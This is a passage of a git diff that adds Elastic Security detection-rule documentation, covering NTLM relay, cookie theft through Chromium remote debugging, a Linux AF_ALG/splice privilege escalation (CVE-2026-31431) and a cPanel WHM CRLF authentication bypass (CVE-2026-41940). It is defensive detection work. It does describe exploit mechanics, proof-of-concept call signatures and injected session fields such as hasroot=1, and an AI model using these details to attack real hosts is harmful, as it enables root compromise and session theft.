indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/p0dalirius/windows-coerced-authentication-methods +* https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications +* https://attack.mitre.org/techniques/T1187/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Active Directory +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Computer Account NTLM Relay Activity* + + + +*Possible investigation steps* + + +- Compare the source.ip to the target server host.ip addresses to make sure it's indeed a remote use of the machine account. +- Examine the source.ip activities as this is the attacker IP address used to relay. +- Review all relevant activities such as services creation, file and process events on the target server within the same period. +- Verify the machine account names that end with a dollar sign ($) to ensure they match the expected hostnames, and investigate any discrepancies. +- Check the network logon types to confirm if they align with typical usage patterns for the identified machine accounts. +- Investigate the context of the source IP addresses that do not match the host IP, looking for any signs of unauthorized access or unusual network activity. +- Correlate the findings with other security logs and alerts to identify any patterns or additional indicators of compromise related to the potential relay attack. + + +*False positive analysis* + + +- Machine accounts performing legitimate network logons from different IP addresses can trigger false positives. To manage this, identify and whitelist known IP addresses associated with legitimate administrative tasks or automated processes. +- Scheduled tasks or automated scripts that use machine accounts for network operations may be flagged. Review and document these tasks, then create exceptions for their associated IP addresses and hostnames. +- Load balancers or proxy servers that alter the source IP address of legitimate authentication requests can cause false alerts. Ensure these devices are accounted for in the network architecture and exclude their IP addresses from the rule. +- Temporary network reconfigurations or migrations might result in machine accounts appearing to log in from unexpected hosts. During such events, temporarily adjust the rule parameters or disable the rule to prevent unnecessary alerts. +- Regularly review and update the list of exceptions to ensure they reflect current network configurations and operational practices, minimizing the risk of overlooking genuine threats. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. + - If the involved server is a Domain Controller, coordinate the isolation of the server with infrastructure and identity teams to contain the threat while preserving service availability and forensic evidence. Prioritize this step if active compromise or attacker persistence is confirmed. +- Reset the domain controller's machine account password, along with any accounts suspected to be compromised or exposed. Ensure strong, unique credentials are used and apply tiered credential hygiene where applicable. +- Analyze recent authentication logs, event logs, and network traffic, focusing on suspicious activity and the source IPs referenced in the alert. Correlate findings to identify any lateral movement or additional compromised systems. +- Strengthen network segmentation, especially between domain controllers, administrative workstations, and critical infrastructure. This limits the attack surface and impedes credential relay or reuse across systems. +- Escalate the incident to the SOC or incident response team to coordinate a full investigation, containment, and recovery plan. Ensure stakeholders are kept informed throughout the response. +- Enhance detection mechanisms by tuning alerts and deploying additional telemetry focused on credential relay patterns, anomalous authentication, and NTLM-related activity. +- Conduct a structured post-incident review, documenting findings, identifying control gaps, and updating playbooks, configurations, or security policies to reduce the likelihood of similar incidents in the future. + + +==== Setup + + + +*Setup* + + +Audit Logon must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-logon + + +==== Rule query + + +[source, js] +---------------------------------- +authentication where host.os.type == "windows" and event.code in ("4624", "4625") and + winlog.logon.type == "Network" and winlog.event_data.AuthenticationPackageName == "NTLM" and + endswith~(user.name, "$") and user.name != "$" and + source.ip != null and source.ip != "::1" and source.ip != "127.0.0.1" and + + /* Filter for a machine account that matches the hostname */ + startswith~(host.name, substring(user.name, 0, -1)) and + + /* Verify the machine account matches the full hostname, not just a prefix substring */ + (startswith~(substring(user.name, 0, -1), host.name) or startswith~(host.name, concat(substring(user.name, 0, -1), "."))) and + + /* Verify if the Source IP belongs to the host */ + not endswith(string(source.ip), string(host.ip)) and + indexOf(string(host.ip), string(source.ip)) == null and + + /* Exclude self-authentication from multi-homed hosts where the NTLM workstation name matches the machine account */ + not (source.domain != null and + startswith~(user.name, source.domain) and + startswith~(source.domain, substring(user.name, 0, -1))) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Sub-technique: +** Name: LLMNR/NBT-NS Poisoning and SMB Relay +** ID: T1557.001 +** Reference URL: https://attack.mitre.org/techniques/T1557/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-cookies-theft-via-browser-debugging.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-cookies-theft-via-browser-debugging.asciidoc new file mode 100644 index 0000000000..c56b765873 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-cookies-theft-via-browser-debugging.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-34-potential-cookies-theft-via-browser-debugging]] +=== Potential Cookies Theft via Browser Debugging + +Identifies the execution of a Chromium based browser with the debugging process argument, which may indicate an attempt to steal authentication cookies. An adversary may steal web application or service session cookies and use them to gain access web applications or Internet services as an authenticated user without needing credentials. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 33 + +*References*: + +* https://github.com/defaultnamehere/cookie_crimes +* https://embracethered.com/blog/posts/2020/cookie-crimes-on-mirosoft-edge/ +* https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/multi/gather/chrome_cookies.md +* https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Information Stealer +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Cookies Theft via Browser Debugging* + + +Chromium-based browsers support debugging features that allow developers to inspect and modify web applications. Adversaries can exploit these features to access session cookies, enabling unauthorized access to web services. The detection rule identifies suspicious browser processes using debugging arguments, which may indicate cookie theft attempts, by monitoring specific process names and arguments across different operating systems. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of suspicious debugging arguments such as "--remote-debugging-port=*", "--remote-debugging-targets=*", or "--remote-debugging-pipe=*". Check if these arguments were used in conjunction with "--user-data-dir=*" and ensure "--remote-debugging-port=0" is not present. +- Identify the user account associated with the suspicious browser process to determine if it aligns with expected behavior or if it might be compromised. +- Investigate the source IP address and network activity associated with the process to identify any unusual or unauthorized access patterns. +- Check for any recent changes or anomalies in the user's account activity, such as unexpected logins or access to sensitive applications. +- Correlate the event with other security alerts or logs to identify if this activity is part of a broader attack pattern or campaign. +- If possible, capture and analyze the network traffic associated with the process to detect any data exfiltration attempts or communication with known malicious IP addresses. + + +*False positive analysis* + + +- Development and testing activities may trigger the rule when developers use debugging features for legitimate purposes. To manage this, create exceptions for known developer machines or user accounts frequently involved in web application development. +- Automated testing frameworks that utilize browser debugging for testing web applications can also cause false positives. Identify and exclude processes initiated by these frameworks by specifying their unique process names or user accounts. +- Browser extensions or tools that rely on debugging ports for functionality might be flagged. Review and whitelist these extensions or tools if they are verified as safe and necessary for business operations. +- Remote support or troubleshooting sessions using debugging features can be mistaken for suspicious activity. Implement a policy to log and review such sessions, allowing exceptions for recognized support tools or personnel. +- Continuous integration/continuous deployment (CI/CD) pipelines that involve browser automation may inadvertently match the rule criteria. Exclude these processes by identifying and filtering based on the CI/CD system's user accounts or process identifiers. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious browser processes identified with debugging arguments to stop potential cookie theft in progress. +- Conduct a thorough review of access logs for the affected web applications or services to identify any unauthorized access attempts using stolen cookies. +- Invalidate all active sessions for the affected user accounts and force a re-authentication to ensure that any stolen session cookies are rendered useless. +- Implement stricter browser security policies, such as disabling remote debugging features in production environments, to prevent similar exploitation in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been compromised. +- Enhance monitoring and alerting for similar suspicious browser activities by refining detection rules and incorporating additional threat intelligence. + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type in ("start", "process_started", "info") and + process.name in ( + "Microsoft Edge", + "chrome.exe", + "Google Chrome", + "google-chrome-stable", + "google-chrome-beta", + "google-chrome", + "msedge.exe") and + process.args : ("--remote-debugging-port=*", + "--remote-debugging-targets=*", + "--remote-debugging-pipe=*") and + process.args : "--user-data-dir=*" and not process.args:"--remote-debugging-port=0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-copy-fail-cve-2026-31431-exploitation-via-af-alg-socket.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-copy-fail-cve-2026-31431-exploitation-via-af-alg-socket.asciidoc new file mode 100644 index 0000000000..dd38929c29 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-copy-fail-cve-2026-31431-exploitation-via-af-alg-socket.asciidoc @@ -0,0 +1,205 @@ +[[prebuilt-rule-8-19-34-potential-copy-fail-cve-2026-31431-exploitation-via-af-alg-socket]] +=== Potential Copy Fail (CVE-2026-31431) Exploitation via AF_ALG Socket + +Correlates a burst of non-root AF_ALG-class "socket", "splice", or "bound-socket" telemetry with a subsequent process execution where effective user is root but the login user remains non-root. This sequence matches common post-exploitation chains for Copy Fail (CVE-2026-31431) style abuse where AF_ALG and "splice" primitives precede executing a corrupted setuid binary from cache. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://xint.io/blog/copy-fail-linux-distributions +* https://nvd.nist.gov/vuln/detail/CVE-2026-31431 +* https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d +* https://www.kernel.org/doc/html/latest/crypto/userspace-if.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Privilege Escalation +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2026-31431 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Copy Fail (CVE-2026-31431) Exploitation via AF_ALG Socket* + + +Copy Fail (CVE-2026-31431) abuses the Linux kernel `authencesn` AEAD path through AF_ALG and `splice()` to write four controlled bytes into the page cache of a readable file. Public exploitation targets setuid-root binaries such as `/usr/bin/su`, then executes the corrupted in-memory copy to gain root. The file on disk is not modified, so traditional on-disk integrity checks may miss the activity. + +This sequence rule requires many (`runs=10`) non-root `splice` or AF_ALG-related `socket` events (`auditd.data.a0 == "26"`) +within 60 seconds, followed by an `executed` event where `user.effective.id` is root while `user.id` is still non-root. +That ordering aligns with abusing AF_ALG/`splice` primitives and then running a setuid-root helper whose page cache was +targeted. + + +*Possible investigation steps* + + +- Review the grouped `host.name`, `user.name`, and `process.name` values in the alert, then inspect the original audit events for `process.executable`, `process.command_line`, `process.pid`, parent process details, working directory, and session or login context. +- Determine whether the process is an interpreter or ad-hoc binary. Public proof-of-concept behavior may appear as a short Python script using standard library modules and calls such as `socket.socket(38, 5, 0)`, `authencesn`, `os.splice`, or `MSG_MORE`. +- Pivot on the same host, user, process name, and nearby timestamps for additional syscall activity from the same process tree, especially `splice`, `sendmsg`, `recvmsg`, or repeated `socket` activity. +- Look for execution of setuid-root binaries shortly after the AF_ALG socket creation, including `/usr/bin/su`, `/usr/bin/sudo`, `/usr/bin/passwd`, `/usr/bin/mount`, `/usr/bin/newgrp`, `/usr/bin/gpasswd`, or `/usr/bin/chfn`. +- Check for evidence of a UID transition to root from the same process tree, followed by root shell activity, persistence creation, credential access, or security control tampering. +- Check container fields such as `container.id` and `container.image.name`. Because this primitive abuses the shared host page cache, container-originated activity should be treated as a possible node-compromise attempt. +- Confirm the host kernel version and distribution advisory status. Prioritize hosts running vulnerable kernels or untrusted container workloads. + + +*False positive analysis* + + +- Legitimate unprivileged AF_ALG consumers are rare, but some environments may use kernel crypto testing, disk encryption tooling, IPsec helpers, HSM integration software, or approved research systems. +- Verify whether the process name and executable path are expected on the host. Confirm that the user identity, host role, and execution time align with documented administrative or testing activity. +- If the activity is expected, add a narrow exception using stable values such as `process.executable`, `user.id`, and `host.id` rather than broad process-name-only exclusions. +- Treat interpreter-driven AF_ALG use, activity from temporary directories, or AF_ALG use inside containers as suspicious unless there is a documented reason. + + +*Response and remediation* + + +- Isolate the affected Linux host if unauthorized AF_ALG activity cannot be quickly ruled out. Treat confirmed exploitation as root compromise. +- Terminate the alerting process and any suspicious child processes. Preserve memory, exploit scripts, shell history, temporary files, and relevant audit logs for forensic review. +- Inspect setuid-root binaries that may have been targeted. Remember that the vulnerable write affects the page cache, not the on-disk file; normal file-integrity checks may not show the corrupted in-memory state. +- Rebuild or reimage the host if successful privilege escalation cannot be ruled out. Rotate credentials, SSH keys, tokens, and secrets that were accessible to the affected user or any root shell spawned afterward. +- Patch the kernel with the vendor fix for CVE-2026-31431. Until patched, consider blocking `algif_aead` module loading or restricting AF_ALG socket creation via seccomp for untrusted workloads. +- For containerized environments, patch the underlying node kernel. Rebuilding container images does not remediate the host kernel vulnerability. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Auditbeat +- Auditd Manager + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit user and process activity. It can collect and centralize events from the Linux Audit Framework. + + +*The following steps should be executed in order to add Auditbeat on a Linux system:* + +- Elastic provides repositories available for APT and YUM-based distributions. To install the repositories, follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- For complete "Setup and Run Auditbeat" instructions, refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. +- To run Auditbeat on Docker or Kubernetes, follow the relevant deployment guides in the Auditbeat documentation. + + +*Auditd Manager Integration Setup* + +The Auditd Manager integration receives audit events from the Linux Audit Framework, which is part of the Linux kernel. Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" on a Linux system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Auditd Manager" and select the integration to see more details. +- Click "Add Auditd Manager". +- Configure the integration name and optionally add a description. +- Review optional and advanced settings as needed. +- Add the newly installed "auditd manager" integration to an existing or new agent policy, and deploy the agent on Linux systems where detection is desired. +- Click "Save and Continue". +- For more details on the integration, refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +This detection relies on auditing one of the 3 event types `socket` or `splice` or `bound-socket` event. If your environment uses a minimal audit ruleset, add rules similar to the following +in the integration's "audit rules" configuration: + +``` +-a always,exit -F arch=b64 -S socket -k socket_syscall +-a always,exit -F arch=b32 -S socketcall -k socket_syscall +-a always,exit -F arch=b64 -S splice -k splice-syscall +-a always,exit -F arch=b32 -S splice -k splice-syscall +-a always,exit -F arch=b64 -S bind -k socket_bound +-a always,exit -F arch=b32 -S bind -k socket_bound +``` + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=60s + [any where host.os.type == "linux" and + ( + (event.category == "process" and auditd.data.syscall == "socket" and auditd.data.a0 == "26") or + (event.category == "process" and auditd.data.syscall == "splice") or + (event.category == "network" and event.action == "bound-socket" and data_stream.dataset == "auditd_manager.auditd" and ?auditd.data.socket.family == "38") + ) + and user.id != "0"] by process.pid, host.id, user.id with runs=10 + [process where host.os.type == "linux" and event.action == "executed" and + ( + (user.effective.id == "0" and user.id != "0") or + (process.name in ("bash", "sh", "zsh", "dash", "fish", "ksh", "busybox") and + process.args in ("-c", "--command", "-ic", "-ci", "-cl", "-lc", "-bash", "-sh", "-zsh", "-dash", "-fish", "-ksh")) + )] by process.parent.pid, host.id, user.id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-cpanel-whm-crlf-authentication-bypass-cve-2026-41940.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-cpanel-whm-crlf-authentication-bypass-cve-2026-41940.asciidoc new file mode 100644 index 0000000000..e14bdaead2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-cpanel-whm-crlf-authentication-bypass-cve-2026-41940.asciidoc @@ -0,0 +1,229 @@ +[[prebuilt-rule-8-19-34-potential-cpanel-whm-crlf-authentication-bypass-cve-2026-41940]] +=== Potential cPanel WHM CRLF Authentication Bypass (CVE-2026-41940) + +Identifies the network signature of CVE-2026-41940, a pre-auth root-level authentication bypass in cPanel and WebHost Manager (WHM) caused by a CRLF injection in the session writer. The exploit-inherent shape on the wire is a "GET /" request to a cPanel/WHM admin port (typically TCP/2087, 2086, 2083, 2082, 2095, 2096) carrying an "Authorization: Basic" header whose base64-decoded value contains CRLF-injected session fields, which causes cpsrvd to respond with a 3xx redirect whose "Location" header leaks a "/cpsessNNNNNNNNNN" token granting the attacker a privileged session. This is the network-layer equivalent of the cPanel "access_log" artifact identified by Unfold and watchTowr as the first bulletproof detection for this CVE: a "GET /" recorded with "auth_method=b" (HTTP Basic). Legitimate access to "GET /" on a WHM admin port returns 200 with the login screen and never includes HTTP Basic credentials, so this combination is not produced by normal use. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* logs-network_traffic.http* +* logs-zeek.http* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.unfold.ai/blog/cpanel-exploit-cve-2026-41940 +* https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/ +* https://www.picussecurity.com/resource/blog/cve-2026-41940-explained-cpanel-whm-authentication-bypass-hit-1-5m-servers +* https://support.cpanel.net/hc/en-us/articles/40073787579671-Security-CVE-2026-41940-cPanel-WHM-WP2-Security-Update-04-28-2026 +* https://nvd.nist.gov/vuln/detail/CVE-2026-41940 +* https://docs.cpanel.net/knowledge-base/cpanel-product/the-cpanel-log-files +* https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-http-options.html#_send_all_headers + +*Tags*: + +* Domain: Network +* Domain: Application +* Domain: Web +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Initial Access +* Data Source: Network Packet Capture +* Data Source: Network Traffic +* Data Source: Zeek +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Custom Query (KQL) +* Vuln: CVE-2026-41940 + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential cPanel WHM CRLF Authentication Bypass (CVE-2026-41940)* + + +CVE-2026-41940 is a critical (CVSS 9.8) authentication bypass in cPanel & WHM that gives an unauthenticated attacker +a root-privileged session on the host. The exploit chains a CRLF injection in the session writer with an +encryption-skip triggered by a malformed cookie, then uses how cPanel caches sessions to promote the injected data +into a privileged login. Around 1.5M cPanel instances were exposed at disclosure and exploitation has been observed in +the wild since 2026-02-23, two months before the patch. + +This rule fires on the Stage 2 request/response shape: a `GET /` to a cPanel admin port that carries an +`Authorization: Basic` header and receives a 3xx redirect whose `Location` points at a freshly minted +`/cpsessNNNNNNNNNN` path. Per the watchTowr and Unfold writeups, this is the only request shape that lets the +exploit retrieve the security token needed for Stage 4 (privileged use of the session). + + +*Detection logic* + + +The rule requires all of the following on a single decoded HTTP transaction matched from +`data_stream.dataset:network_traffic.http` (or `event.category:network_traffic` with `network.protocol:http`): + +- `http.request.method:GET` and `url.path:"/"` — request targets the root path exactly. The CRLF vulnerability is only + reachable on `GET /`; the same payload on other paths does not return the redirect that leaks the token, so the + match is intentionally exact (a request like `GET /index.html` will not fire). +- `destination.port:(2087 OR 2086 OR 2083 OR 2082 OR 2095 OR 2096)` — cPanel/WHM admin and webmail ports. These are + not in the default Network Packet Capture HTTP port list and must be added explicitly (see Setup). +- `http.response.status_code >= 300 and http.response.status_code <= 399` — a redirect response. Normal `GET /` to WHM + returns 200 with the login screen; only the exploit produces a 3xx here. +- `http.request.headers.authorization:Basic*` — HTTP Basic credentials sent on `GET /`. This is the network-layer + equivalent of the `auth_method=b` flag the Unfold and watchTowr writeups identify as the first bulletproof artifact + in cPanel's `access_log`. `GET /` is an unauthenticated endpoint in normal cPanel operation and never legitimately + carries Basic auth. +- `http.response.headers.location:/cpsess*` — the response redirects to a `/cpsess`-prefixed path, leaking the CSRF + token the attacker needs for Stage 4. This is what makes the exploit succeed and is not produced by any benign flow. + + +*Possible investigation steps* + + +- Capture the alert evidence. Record `source.ip` (attacker), `destination.ip` (cPanel host), `destination.port`, + `user_agent.original`, `http.response.status_code`, the exact `http.response.headers.location` value (which contains + the leaked `cpsess` token), and the captured `http.request.headers.authorization` value. +- Decode the Authorization header to confirm the CRLF payload. Strip the leading `Basic ` from + `http.request.headers.authorization` and base64-decode the remainder. A legitimate Basic credential decodes to + `username:password`; the exploit's payload decodes to a multi-line block delimited by `\r\n` containing fields like + `successful_internal_auth_with_timestamp=`, `tfa_verified=1`, and `hasroot=1`. CRLF bytes in the decoded value + distinguish exploitation from a misconfigured Basic-auth client. +- Confirm the destination host runs cPanel/WHM. Identify the installed version and whether the 2026-04-28 emergency + patch is applied. +- Pivot on the source IP across the host's `/usr/local/cpanel/logs/access_log`. The exploit-inherent log artifact is a + request line of the form `"GET / HTTP/1.1" 3xx 0 "-" "" "b" "-" ` — `auth_method=b` on `GET /` should never + occur in normal operation and corresponds 1:1 to the `http.request.headers.authorization:Basic*` clause in this rule. +- Look for the Stage 4 follow-on from the same source IP: a request to the leaked `cpsess` path + (`/cpsessNNNNNNNNNN/...`) with `auth_method=s` (session) and HTTP 200, without a preceding successful login + (form POST `/login`, `/openid_connect/`, or reseller `?session=`). This is the post-exploitation artifact. +- Identify whether privileged WHM API actions were invoked under the leaked `cpsess` token (account creation, package + install, file manager writes, terminal API). +- Review egress from the host for outbound connections initiated after the alert that could indicate web shell or + implant install. + + +*False positive analysis* + + +- Legitimate WHM administration never produces `GET /` with HTTP Basic authentication and a 3xx redirect leaking a + fresh `cpsess` token. This combination is exploit-inherent. +- Authorized vulnerability scans running CVE-2026-41940 plugins will reproduce the request shape. + + +*Response and remediation* + + +- Apply the cPanel emergency patch released 2026-04-28 (or the WP Squared equivalent). Verify by checking the + installed cPanel version against the advisory. +- If the alert is paired with an `auth_method=s` `cpsess` request (post-exploitation), assume host compromise: + rotate root credentials, audit `/var/cpanel/sessions/`, look for newly created accounts, scheduled tasks, SSH keys, + and `authorized_keys` modifications. +- Restrict access to cPanel admin ports (2087/2086/2083/2082/2095/2096) to known administrator source IPs at the + perimeter or via host firewall. +- Block the source IP at the WAF or perimeter if exploitation is confirmed. + + +==== Setup + + + +*Setup* + + +This rule supports two data sources: + +1. **Network Packet Capture / Packetbeat (preferred):** Requires the Network Packet Capture integration (or legacy + Packetbeat) with cPanel admin ports added to the HTTP protocol configuration and `send_all_headers` enabled, so that + `http.request.headers.authorization` and `http.response.headers.location` are populated. cPanel admin ports + (2087/2086/2083/2082/2095/2096) are not in the default HTTP port list and must be added explicitly. +2. **Zeek HTTP logs (`zeek.http`):** Zeek records only the names of HTTP request and response headers in + `zeek.http.client_header_names` and `zeek.http.server_header_names`, not their values. The Zeek branch of this rule + therefore matches on the presence of `AUTHORIZATION` and `LOCATION` headers on a `GET /` to a cPanel admin port, + which is a less precise but still exploit-shaped signal. Confirm exploitation by retrieving the raw header values + from the upstream Zeek sensor or correlated packet capture. + + The Zeek branch has non-default sensor prerequisites that must be met or it will never match: + - **Header-name logging is not enabled by default.** `client_header_names` and `server_header_names` are produced by + the policy script `policy/protocols/http/header-names.zeek`, which is not loaded by `base/protocols/http` or the + default `site/local.zeek`. Add `@load policy/protocols/http/header-names.zeek` to the Zeek configuration. Without + it, neither field is emitted and the Zeek branch cannot fire. + - **Server header-name logging defaults to off.** Even with the script loaded, `HTTP::log_server_header_names` + defaults to `F`, so the `server_header_names:LOCATION` condition is unsatisfiable. Set + `redef HTTP::log_server_header_names = T;` (client header-name logging is on by default). + - **Non-standard ports are handled by DPD, not a port list.** Zeek ships port-independent HTTP DPD signatures + (`base/protocols/http/dpd.sig`) that detect HTTP by payload regardless of port, so plaintext `GET /` on cPanel + admin ports (2086/2082/2095) is parsed into `zeek.http` without registering those ports. The TLS ports + (2087/2083/2096) are encrypted and yield `zeek.ssl`, not `zeek.http`, unless the sensor sits upstream of TLS + termination (see decryption note below). + +cPanel/WHM exposes paired TLS and plaintext ports: 2087 (WHM HTTPS), 2083 (cPanel HTTPS), and 2096 (Webmail HTTPS) +require decryption visibility (TLS interception, sidecar on the host, or a sensor upstream of TLS termination) for +either data source to observe HTTP headers. The plaintext counterparts — 2086 (WHM HTTP), 2082 (cPanel HTTP), and 2095 +(Webmail HTTP) — carry headers in the clear and are observable without decryption. An attacker can exploit the +vulnerability over either variant, so both sets of ports are included in this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +( + ( + (data_stream.dataset: network_traffic.http or (event.category: network_traffic and network.protocol: http)) and + http.response.status_code >= 300 and http.response.status_code <= 399 and + http.request.headers.authorization: Basic* and + http.response.headers.location: /cpsess* + ) + or + ( + data_stream.dataset: zeek.http and + zeek.http.client_header_names: AUTHORIZATION and + zeek.http.server_header_names: LOCATION + ) +) and +http.request.method: GET and +url.path: "/" and +destination.port: (2087 or 2086 or 2083 or 2082 or 2095 or 2096) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-dcsync.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-dcsync.asciidoc new file mode 100644 index 0000000000..d5213c520b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-dcsync.asciidoc @@ -0,0 +1,163 @@ 